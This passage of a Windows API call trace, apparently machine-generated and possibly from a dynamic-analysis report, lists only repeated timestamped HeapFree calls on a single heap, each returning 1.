hHeap=0x510000) returned 1 [0136.465] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.467] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.468] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.469] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.471] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.472] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.473] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.474] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.476] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.477] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.481] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.481] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.482] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.482] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0136.489] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.490] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.491] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.493] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.493] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0136.496] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0136.497] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.497] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0136.507] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0136.507] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0136.508] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0136.508] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0136.508] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0136.508] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x450ef48 | out: hHeap=0x510000) returned 1 [0136.510] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0136.680] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.680] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0136.681] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.681] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.681] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.681] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0136.681] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0136.682] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.683] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.683] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.683] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.683] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.683] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.683] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.683] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.684] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.684] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.684] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.684] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.684] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.684] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.685] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.685] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.686] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.686] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.686] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.686] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.687] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0136.687] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.687] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.688] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0136.688] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.688] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.688] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0136.690] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.690] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0136.690] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0136.760] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0136.761] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.761] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0136.762] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.762] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.763] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0136.764] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0136.765] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.766] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.766] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0136.767] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.767] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.767] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0136.767] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0136.775] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.776] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0136.776] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.777] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0136.777] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0136.778] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0136.787] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0136.793] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0136.797] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44eef38 | out: hHeap=0x510000) returned 1 [0137.140] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44d40b8 | out: hHeap=0x510000) returned 1 [0137.142] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44c40b0 | out: hHeap=0x510000) returned 1 [0137.142] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0137.168] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0137.168] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.168] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0137.168] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0137.168] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.168] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0137.168] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.169] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0137.169] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0137.172] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0137.174] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0137.560] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0137.560] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.560] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0137.562] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0137.562] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.563] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0137.563] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.563] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0137.563] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.563] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0137.563] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.563] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0137.563] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.564] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x446a938 | out: hHeap=0x510000) returned 1 [0137.564] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.564] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0137.565] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0137.565] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0137.567] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0137.568] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0137.568] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0137.569] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0137.569] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0137.569] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0137.569] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.569] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x453ef58 | out: hHeap=0x510000) returned 1 [0137.570] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0137.570] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0137.571] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0137.571] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0137.571] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0137.572] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0137.572] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0137.572] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0137.572] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0137.574] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0137.576] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0137.576] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0137.576] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0137.576] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0137.576] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0137.576] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0137.577] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0137.577] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0137.577] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0137.578] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0137.578] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0137.579] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0137.579] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0137.580] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0137.580] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0137.580] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0137.582] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0137.582] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0137.583] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0137.583] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0137.583] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0137.584] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0137.584] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0137.705] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0137.705] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0137.707] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0137.717] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0137.721] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0137.723] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0137.965] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44a40a0 | out: hHeap=0x510000) returned 1 [0137.966] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0137.968] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0137.969] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0137.970] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0137.971] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0137.974] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0137.993] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.045] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.047] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.050] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.064] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.069] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.072] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.075] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.080] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.126] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.664] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.668] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.670] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.672] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.675] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.677] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.679] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.681] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.684] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.686] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.689] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.691] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.694] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.696] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.698] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.701] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.703] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.956] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.962] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.964] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.967] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.969] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.972] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.974] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.977] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.979] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.981] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.984] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.986] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.989] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.991] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.994] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0138.996] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0139.262] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0139.511] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0139.514] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0139.517] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0139.520] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0139.522] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0139.525] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0139.527] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0139.530] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0139.535] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0139.537] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0139.539] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0139.542] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0139.545] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0139.548] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x456ff68 | out: hHeap=0x510000) returned 1 [0139.651] 